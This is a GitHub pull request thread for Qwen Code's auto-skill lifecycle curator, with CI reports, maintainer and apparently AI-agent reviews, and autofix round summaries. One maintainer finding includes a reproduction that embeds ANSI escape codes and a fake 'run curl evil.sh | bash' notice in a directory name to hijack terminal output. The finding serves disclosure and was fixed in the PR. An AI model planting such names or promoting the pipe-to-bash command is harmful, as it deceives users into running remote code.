feat(skills): add auto-skill curator - #7846
Conversation
github-actions
Bot
added
the
review/self-reported
E2E test reportTested locally on macOS 27.0 with Node.js 24.18.0 and sandbox disabled, using an isolated temporary project. BaselineThe globally installed Qwen Code 0.21.0 returned: Unknown command: /curatorAfter
Automated coverage on the current |
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
The strict-parity locale coverage test failed because the new /curator command and its status/run/restore subcommands fell back to English descriptions in zh-CN and zh-TW. Add Simplified and Traditional Chinese translations for the curator command descriptions and its user-facing output strings.
The strict-parity i18n check failed because zh and zh-TW defined the new /curator command keys while en.js (the source of truth) did not, producing extra-key parity errors. Add the matching English source entries so all supported locales share the same key set.
Hermes-alignment follow-up E2E reportAn independent test agent first reproduced the four lifecycle gaps against the pre-fix commit, then reran the same isolated TypeScript harness against the final branch without editing source code.
Focused regression evidence: 558 core tests, 172 CLI tests, and 31 locale/parity tests passed. Full workspace build, typecheck, ESLint, and Prettier also passed on macOS. |
|
审查完成，发现 2 个 P1 安全问题和 2 个 P2 正确性/可靠性问题。CI 的 Ubuntu 与 web-shell 检查通过；macOS/Windows 任务跳过。未修改代码。 按
回复“确认发布”，我就提交到 PR #7846。 ✅ completed |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed — no blockers. Suggestions are inline. 1 Suggestion-level finding(s) could not be anchored to a changed line and were dropped; nothing further to act on here.
中文说明
已审查——无阻断问题。 建议见行内评论。 1 条建议级发现无法锚定到改动行，已丢弃；此处无需进一步处理。
— qwen3.7-max via Qwen Code /review
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed — no blockers. Suggestions are inline.
中文说明
已审查——无阻断问题。 建议见行内评论。
— qwen3.7-max via Qwen Code /review
|
@qwen-code /takeover |
qwen-code-dev-bot
added
the
autofix/takeover
Maintainer verification — built and driven locally on LinuxI built this PR at head Two hardening issues came out of the live runs, both on the read-only surface that is deliberately reachable in untrusted workspaces and safe mode. Neither is a lifecycle-logic bug, and neither blocks the design — but I would fix #1 before merge because it is remotely reachable from a cloned repository. What I confirmed
Beyond the plan I also checked the automatic path, since that is what most users will actually hit: the first boot with
raw text (if the image has not resolved yet)A/B: I reproduced the PR's own "Before" statesTo check that the Hermes-alignment commits do what they say, I reverted Reverting
Finding 1 (please fix before merge) — a directory name can inject terminal control sequences
The interactive TUI is safe — Reachability is what makes this worth fixing: a directory name is arbitrary bytes, it survives
repromkdir -p "$(printf '.qwen/archived-skills/auto-skill-\033[2J\033[H\033[1;31mSYSTEM NOTICE: run curl evil.sh | bash\033[0m\033[5B')"
printf -- '---\nname: report-helper\ndescription: harmless\nsource: auto-skill\n---\n' \
> "$(printf '.qwen/archived-skills/auto-skill-\033[2J\033[H\033[1;31mSYSTEM NOTICE: run curl evil.sh | bash\033[0m\033[5B')/SKILL.md"
git add -A && git commit -m x && git clone . ../victim && cd ../victim
qwen -p "/curator" | od -c | grep 033 # 5 raw ESC bytes; on a real terminal the screen is wipedThere is already a house-style fix: Finding 2 (non-blocking) — the state file is read with no symlink or size guardEvery write in
An Two smaller notes
Stacked-skill usage recording differs between the two front ends, but the PR is not the cause. EnvironmentLinux 6.12 · Node 22 · worktree at 中文版（合并参考）Maintainer 本地验证结论我在干净 worktree 中以 head 实测中发现两个加固问题，都位于「未受信任工作区与安全模式下有意开放的只读界面」上。它们都不是生命周期逻辑缺陷，也不影响整体设计——但第 1 条我建议合并前修复，因为它可以从一个被克隆的仓库远程触发。 已确认的内容
计划之外我还验证了自动路径（这才是多数用户真正会走的路径）：受信任目录下 A/B：我复现了 PR 自己声称的「改动前」状态为核对 Hermes-alignment 那几个 commit 是否名副其实，我把 问题 1（建议合并前修复）——目录名可注入终端控制序列
交互式 TUI 是安全的—— 真正让它值得修的是可达性：目录名是任意字节，能通过 仓库里已有同风格的修法： 问题 2（非阻断）——状态文件的读取缺少符号链接与大小防护
在 两点小意见
stacked skill 的使用记录在两个前端不一致，但根因不在本 PR。 环境Linux 6.12 · Node 22 · worktree 位于 |
|
🤝 Takeover engaged: the autofix loop now manages this PR — it will address new review feedback and resolve base conflicts until the label is removed or the round cap is reached. Remove the 中文说明🤝 已接管：autofix 循环现在管理此 PR —— 将持续处理新的评审反馈与 base 冲突，直到移除标签或达到轮次上限。移除 |
Resolve conflict in packages/core/src/config/config.test.ts by keeping both the auto-skill curation initialization tests and main's initialization/shutdown ordering tests.
Add coverage for two previously untested error paths in the auto-skill curator: - restoreArchivedAutoSkill refusing to overwrite an existing active directory, leaving both the reused directory and the archived copy intact. - runAutoSkillCurator rolling back an archive rename when the post-move state persistence fails, returning the skill to the live library and leaving nothing stranded in the archive (new isolated test file that mocks atomicWriteJSON to fail once).
- Add mockRejectedValue error-path tests for the /curator status, run, restore, and pin commands, asserting each surfaces messageType 'error' and that a failed run/restore skips skill-discovery refresh. - Add positive stacked auto-skill tests to both the non-interactive and interactive slash-command paths, asserting recordAutoSkillUsage is called once per successful stacked skill carrying project skillDetail.
isManagedDirectoryName only checked the auto-skill- prefix and basename, so a crafted directory whose name embeds ANSI/control bytes was treated as a managed skill and its name printed verbatim by the non-interactive /curator output (which, unlike the TUI, does not run escapeAnsiCtrlCodes), enabling terminal control-sequence injection from a cloned repo. Require the directory name to match SKILL_NAME_PATTERN. A managed dir is always auto-skill-<name> where <name> passes validateSkillName and the prefix chars are within the same charset, so this never rejects a legitimately generated directory (including Unicode skill names, which an ASCII-only guard would wrongly drop) while excluding ESC/control bytes. Add a regression test covering a crafted directory with a valid manifest name so only the directory-name guard can exclude it.
|
@qwen-code /triage |
|
Thanks for the PR — this is a substantial, well-documented feature. Template looks good ✓ — all required sections present, with a thorough reviewer test plan and before/after evidence. Problem: this is a feature request (self-reported in #7844), not a bug fix, so a reproduction isn't the right bar. The underlying gap is real and observable: accepted auto-generated Skills accumulate indefinitely and keep showing up in discovery and model-visible listings. Anyone using Auto Skill long enough hits this. Not theoretical. Direction: aligned. Lifecycle curation is a natural companion to the Auto Skill feature, and the posture is conservative in the right ways — recoverable archival rather than deletion, durable pinning as an opt-out, dry-run preview, and usage telemetry that stays observable even while generation is disabled. No auth/sandbox/model-selection/release concerns. Size: this is a cross-package core feature. By my count from the per-file stats: ~1,394 production logic lines (core Approach: the diff is cohesive — every change serves the curator (core module + boot hook + usage recording + Risk: no elevated risk signals — none of the changed files match the revert-correlated high-risk paths (streaming/MCP/shell/sandbox/ACP/LSP). The review depth below is standard, not escalated. Moving on to code review. 🔍 中文说明感谢贡献——这是一个体量很大、文档很完整的 feature。 模板完整 ✓——所有必需小节齐全，reviewer 测试计划和 before/after 证据都很充分。 **问题：**这是 feature request（#7844，作者自报），不是 bug fix，所以不适用"复现"标准。底层缺口真实且可观察：被接受的自动生成 Skill 会无限累积，持续出现在发现结果和模型可见列表中。长期使用 Auto Skill 的人都会遇到。不是理论问题。 **方向：**对齐。生命周期管理是 Auto Skill 的自然配套，且姿态在该保守的地方很保守——可恢复归档而非删除、持久化固定作为退出机制、dry-run 预览、以及生成关闭时仍可观察的使用遥测。无 auth/sandbox/模型选择/发布相关顾虑。 **规模：**这是一个跨 package 的 core feature。按文件统计：约 1,394 行生产逻辑（core 的 **方案：**diff 内聚——每处改动都服务于 curator，未见顺手重构或无关 churn。 **风险：**无升级风险信号——改动文件均未命中与 revert 相关的高风险路径。下方 review 深度为标准级，未升级。 进入代码审查 🔍 — Qwen Code · qwen3.8-max-preview Reviewed at |
Code reviewMy independent baseline for "auto-skills accumulate, add a lifecycle" would be: a project-scoped state file under The PR matches that almost line-for-line and then goes further than my baseline would have on the security side. No critical blockers, no correctness bugs, no security holes found. Specifics:
One non-blocking nit: The behavioural claims (lifecycle transitions, safe-mode/untrusted blocking, collision isolation, usage-while-disabled) are covered by the author's suite and the green CI below, which I can't re-run from here — see the sandboxed-lane note under Testing. sequenceDiagram
participant U as CLI boot
participant C as Config initialize
participant M as maybeRunAutoSkillCurator
participant L as curator lock
participant S as scanManagedSkills
participant A as atomicWriteJSON
U->>C: initialize
C->>M: run when enabled and trusted
M->>M: read state unlocked, check 7 day interval
M->>L: acquire lock when due
L->>S: scan eligible auto-skills
S-->>L: managed skills
L->>L: seed first-sight, mark stale, archive
L->>A: atomic write state with noFollow
A-->>L: persisted
L-->>C: result, best effort
Files changed (27 of 35 shown)
TestingThis is an unattended CI run, so I did not build or execute any PR code — the evidence below is the PR's own CI on the reviewed commit, read via the API. All checks on
A green suite proves the tests pass, not that they pin the behaviour — and the central claims here are behavioural (archive-after-90-days, safe-mode/untrusted mutations blocked, collision isolation, usage recorded while generation disabled). The author also verified on macOS only. Sandboxed verification would settle the parts static review can't: 中文说明代码审查我独立的方案基线是： PR 几乎逐条吻合，并在安全方面做得比我的基线更细。未发现关键阻塞、正确性 bug 或安全漏洞。 要点：
一个非阻塞小问题： 行为性声明（生命周期转换、safe-mode/未信任阻断、冲突隔离、关闭生成时记录使用）由作者测试套件和下方绿色 CI 覆盖，我无法在此重跑——见"测试"中的沙箱验证说明。 （时序图：CLI 启动 → Config initialize → maybeRunAutoSkillCurator 在 enabled 且 trusted 时运行，未加锁读状态查 7 天间隔，到期取锁，扫描合格 auto-skill，做首见/stale/archive 转换，noFollow 原子写状态，尽力返回。） 测试这是无人值守 CI 运行，因此我没有构建或执行任何 PR 代码——下方证据是 PR 自身在被审提交上的 CI，通过 API 读取。
绿色套件只证明测试通过，不证明测试钉住了行为——而本 PR 的核心声明是行为性的。作者也仅在 macOS 上验证。沙箱验证可补上静态审查看不到的部分： — Qwen Code · qwen3.8-max-preview Reviewed at |
|
Confidence: 3/5 — clean review, but this is a large cross-package core feature that Stage 0 escalates for maintainer architecture sign-off, so the bot caps here on policy rather than on doubt. ⏸️ Deferring to @wenshao — not because I found a defect, but because a ~1,400-production-line feature that adds a new core module ( Stepping back: this is genuinely good work. The implementation matches my independent proposal and exceeds it on the security side — the My only real reservation is scale, and the behavioural claims rest on the author's suite plus single-platform manual testing — hence the 中文说明置信度：3/5 —— review 干净，但这是一个跨 package 的大型 core feature，Stage 0 会将其转交 maintainer 做架构把关，因此 bot 在此按政策封顶，而非因为有疑虑。 ⏸️ 转交 @wenshao —— 不是因为发现缺陷，而是因为一个约 1,400 行生产逻辑、新增 core 模块（ 整体看：这是真正优质的工作。实现与我的独立方案吻合，并在安全方面超出—— 我唯一的实质保留是体量，且行为性声明依赖作者套件加单平台手测——因此上面点名了 — Qwen Code · qwen3.8-max-preview Reviewed at |
|
Triage re-run completed without a new review.
The stage comments above were updated with the latest result. View workflow run. |
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下： Autofix review round — no action takenNo changes were made this round. There is no actionable feedback to address:
The PR is in Critical-only mode after five change-producing review rounds. The only feedback present is the deferred non-Critical audit record (automated-reviewer suggestions), which this mode explicitly defers and keeps open for human follow-up. Per the workflow rules, no code was modified, no threads were resolved, and no replies were posted on its behalf. To continue iterating, a maintainer can tag a finding [Critical], submit a Request-changes review, or comment 中文说明Autofix 评审轮次——未采取任何操作本轮未做任何改动。 没有可处理的反馈：
在经历了五个产生改动的评审轮次后，本 PR 已进入仅处理 Critical 模式。当前唯一存在的反馈是被延后的非 Critical 审计记录（自动评审器的建议），该模式明确将其延后、保持开放并留待人工跟进。按照工作流规则，未修改任何代码、未解决任何线程、也未代其发表任何回复。 如需继续迭代，维护者可以将某条发现标记为 [Critical]、提交一个 Request-changes 评审，或评论 Deferred non-Critical feedbackCritical-only mode is active after 5 change-producing rounds: the automated reviewer's non-Critical suggestions below are deferred and stay open for human follow-up — do not modify code, resolve threads, or reply on their behalf. Maintainer feedback defers only once its author has already had 2 regular feedback batches addressed in this window's Critical-only tail — an account can host an automated reviewer loop, so the brake keys on measured regeneration, not identity; authors at their budget, if any, are named below. (A maintainer can lift the mode itself:
中文说明完成 5 个产生改动的轮次后进入仅处理 Critical 的模式：以上为自动评审的非 Critical 建议，予以延后、保持开放并留待人工跟进——不要为其修改代码、解决线程或代为回复。维护者的反馈仅在其本人于本窗口 Critical-only 阶段已被处理 2 批常规反馈之后才会被延后——账号可能挂着自动评审循环，因此刹车依据实测的再生频度而非身份；达到预算的作者（如有）在下方点名。（如需解除该模式，评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 🧠 Handled by Qwen Code · model/模型 |
Resolve import conflict in packages/core/src/config/config.ts by keeping both the curator import (maybeRunAutoSkillCurator) and main's SkillLevel type import.
|
🤖 Addressed the latest review feedback (round 10/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 10/100 轮）。改动内容与我反驳保留之处如下： Autofix review round — PR #7846Feedback triageThis round carried no review feedback to triage: Conflict resolutionThe branch was 134 commits behind
The two imports are independent and both are used in the merged file Post-merge verification notesAfter the merge,
The curator feature's own tests all pass after the merge (core: skill-curator, Changes
Verification
中文说明Autofix 审查轮次 — PR #7846反馈分类本轮没有需要分类的审查反馈： 冲突解决该分支落后
这两个 import 相互独立，且在合并后的文件中都被使用（ 合并后验证说明合并后，
curator 功能自身的测试在合并后全部通过（core：skill-curator、reread、rollback、config；cli：curator-command、SkillCommandLoader）。 变更
验证
Base-conflict check · 基分支冲突检查: conflicted with main — resolved in this push. · 与 main 有冲突——已在本次推送中解决。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
|
📊 Takeover milestone — round 10/100, in the current window. Census: 6 pushed fix(es), 12 no-change review(s), 2 timeout(s), 0 rejected attempt(s), 2 other round(s) (crash / model error / gate error / infra), 5 base update(s). This many rounds deserves a human look. Options: keep going (fine — nothing changes), split or reduce the PR if rounds keep accumulating, or release takeover (remove the 中文说明📊 接管里程碑 —— 第 10/100 轮（当前窗口）。统计：推送修复 6 次、审阅无需改动 12 次、超时 2 次、验证拒绝 0 次、其他轮次（崩溃/模型错误/门错误/infra）2 次、base 更新 5 次。 轮次到这个量值得人工看一眼。可选：继续（无需操作）；若轮次持续累积，考虑拆分或缩减 PR；或释放接管（移除 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed. Suggestions are inline. Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
中文说明
已审查。 建议见行内评论。 未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
— qwen3.8-max-preview via Qwen Code /review
|
@qwen-code /takeover |
Review:
|
|
🔄 Takeover re-armed: the round counter starts a fresh window (previous rounds no longer count toward the cap); management continues. 中文说明🔄 已重新武装：轮次计数开启新窗口（此前轮次不再计入上限），托管继续。 |
Review:
|
- Isolate per-skill rename failures so a transient error no longer aborts the whole pass and prevents state persistence (boot-loop fix) - Make usage recording fire-and-forget (void instead of await) since it is already best-effort and nothing consumes the result - Skip state file creation when no auto-skills exist - Prune dead records whose directory exists in neither root - Sanitize user-supplied directory names in error messages (JSON.stringify) to close the ANSI control-sequence echo path - Split reserved skill names into active/archived lists in the review-agent task prompt - Make collision output actionable with remediation guidance - Fix rollbackMoves mutating its argument (moved.reverse → copy) - Add null guard to isMissing for non-object rejections - Add locale keys for skippedErrors output (9 locales)
|
🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 1/100 轮）。改动内容与我反驳保留之处如下： Review feedback addressed — PR #7846Inline comments (automated reviewer)All three inline suggestions (rc:3694662921, rc:3694662924, rc:3694662925) were already fixed in commit 1829624 by @DragonnZhang. Re-verified they still hold. @wenshao's reviews (issue-level)Implemented
Declined (with reasons)
Escalated (maintainer decision needed)
Verification
中文说明审查反馈处理 — PR #7846行内评论（自动审查器）三条行内建议（rc:3694662921、rc:3694662924、rc:3694662925）已由 @DragonnZhang 在提交 1829624 中修复。已重新验证仍然有效。 @wenshao 的审查（Issue 级别）已实现
已拒绝（附原因）
已上报（需要维护者决定）
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
|
Released in v0.21.3. |
8 participants
What this PR does
This PR adds a deterministic, project-scoped lifecycle curator for auto-generated Skills. It records successful use through both the Skill tool and direct slash-command invocation, marks inactive generated Skills stale after 30 days, and moves complete packages out of the active library after 90 days. Automatic maintenance runs at most once every 7 days in trusted workspaces.
Only project Skill directories with both an
auto-skill-*directory name andsource: auto-skillfrontmatter are eligible. Hand-authored, personal, bundled, extension, learned, malformed, and symlinked Skills are excluded.Each newly observed eligible Skill receives a fresh inactivity baseline, including on an explicit first run, so an old filesystem timestamp cannot cause immediate archival. Successful use is recorded even while Auto Skill generation is disabled, keeping activity telemetry independent from the generation and scheduled-maintenance switch.
Users can inspect lifecycle state with
/curator, preview changes with/curator run --dry-run, run maintenance immediately with/curator run, pin or unpin individual packages with/curator pin|unpin <directory>, and restore a package with/curator restore <directory>. Read-only status and dry-run previews remain available in safe mode and untrusted workspaces; live maintenance, pin changes, and restore require a trusted workspace outside safe mode. Archived names remain reserved; a destination collision is reported and skipped without blocking unrelated packages. Archival remains recoverable, and state updates use cross-process locking, atomic persistence, and rollback on persistence failure.Why it's needed
Auto Skill can create and refine reusable project Skills, but accepted generated Skills currently accumulate indefinitely. Obsolete and one-off entries continue to appear in discovery and model-visible listings, making the active library noisier over time. A conservative, evidence-based lifecycle keeps that library focused without risking user-authored content or permanently deleting data.
The additional safeguards match the lifecycle invariants used by Hermes: telemetry remains observable when generation is paused, first sight establishes the inactivity clock, and pinning is a durable opt-out from automatic transitions. Qwen Code retains its directory-keyed state and never-overwrite rule, so archive collisions are isolated and surfaced rather than renamed.
Reviewer Test Plan
How to verify
Automated verification on the current head: 39 focused command and locale/parity tests, full workspace build, full workspace typecheck, and ESLint all passed. The broader feature verification also passed 558 targeted core tests and 172 targeted CLI tests before this isolated command-layer fix. An independent test agent reproduced the safe-mode and untrusted-workspace mutations on the previous exact commit, then verified that all four live mutations are blocked while status and dry-run remain non-mutating.
Evidence (Before & After)
Before, an archive-name collision aborted and rolled back unrelated maintenance; usage while generation was disabled was not recorded; an old eligible Skill with no state could be archived on its first explicit run; and no supported pin/unpin mechanism existed.
After, the independent regression harness observed a collision reported in
skippedCollisionswhile an unrelated package archived successfully, a disabled-generation invocation persisteduseCount: 1, a first explicit run returned the package inseededwitharchived: [], and a pinned package remained active until it was unpinned.Tested on
Environment (optional)
macOS, Node.js development workspace, local CLI and focused TypeScript harnesses with sandbox disabled in isolated temporary projects.
Risk & Scope
pinned: false. Automatic maintenance still only runs when Auto Skill is enabled and the workspace is trusted, while eligible usage telemetry is now recorded independently of that switch.Linked Issues
Closes #7844
中文说明
此 PR 做了什么
此 PR 为自动生成的项目 Skill 增加了一个确定性的、项目范围隔离的生命周期 curator。它会记录 Skill 工具和直接斜杠命令调用的成功使用，在 30 天未活动后将生成的 Skill 标记为 stale，并在 90 天后把完整 Skill 包移出活跃库。自动维护仅在受信任工作区中运行，最多每 7 天一次。
只有同时满足
auto-skill-*目录名和source: auto-skillfrontmatter 的项目 Skill 目录才会进入管理范围。手写、个人、内置、扩展、learned、格式错误和符号链接 Skill 均会被排除。每个首次观察到的合格 Skill 都会获得新的不活动基线，包括首次显式运行的场景，因此旧的文件系统时间戳不会导致立即归档。即使 Auto Skill 生成功能被关闭，成功使用仍会被记录，使活动遥测与生成及定时维护开关彼此独立。
用户可以通过
/curator查看生命周期状态，通过/curator run --dry-run预览变更，通过/curator run立即执行维护，通过/curator pin|unpin <directory>固定或取消固定单个包，并通过/curator restore <directory>恢复 Skill 包。安全模式和未受信任工作区仍可使用只读状态与 dry-run 预览；实际维护、固定状态变更和恢复操作要求工作区已受信任且未启用安全模式。已归档名称会被保留；目标冲突会被报告并跳过，但不会阻塞无关包。归档仍然可恢复；状态更新使用跨进程锁、原子持久化，并在持久化失败时回滚。为什么需要
Auto Skill 能创建和改进可复用的项目 Skill，但已接受的生成 Skill 目前只会无限累积。过时和一次性的条目会继续出现在发现结果和模型可见列表中，使活跃库随时间越来越嘈杂。保守且基于证据的生命周期可以保持活跃库聚焦，同时不危及用户编写的内容，也不会永久删除数据。
这些额外保护与 Hermes 使用的生命周期不变量一致：暂停生成时遥测仍然可观察，首次发现会建立不活动时钟，固定是对自动状态转换的持久化退出机制。Qwen Code 保留了按目录键控的状态和绝不覆盖规则，因此归档冲突会被隔离并明确报告，而不会通过改名归档来处理。
Reviewer 测试计划
如何验证
当前 head 的自动验证包括：39 个 command 与 locale/parity 定向测试、完整 workspace build、完整 workspace typecheck 和 ESLint，均已通过。在这次独立的命令层修复之前，更广泛的功能验证还通过了 558 个 core 定向测试和 172 个 CLI 定向测试。独立测试代理先在上一精确提交上复现了 safe mode 与未受信任工作区中的实际写入，再确认修复后四个 live mutation 全部被阻止，而状态查看和 dry-run 仍保持只读。
证据（改动前后）
改动前，归档名称冲突会中止并回滚无关维护；关闭生成时的使用不会被记录；没有状态的旧合格 Skill 可能在首次显式运行时被立即归档；同时不存在受支持的 pin/unpin 机制。
改动后，独立回归脚本观察到冲突被记录到
skippedCollisions，同时无关包成功归档；关闭生成期间的一次调用持久化了useCount: 1；首次显式运行把该包返回在seeded中且archived: []；固定包保持活跃，直到取消固定后才恢复正常维护。已测试平台
环境（可选）
macOS、Node.js 开发工作区；在隔离临时项目中使用关闭 sandbox 的本地 CLI 和聚焦 TypeScript 验证脚本。
风险和范围
pinned: false加载。自动维护仍然只在启用 Auto Skill 且工作区受信任时运行，但符合条件的使用遥测现在独立于该开关记录。关联 Issue
Closes #7844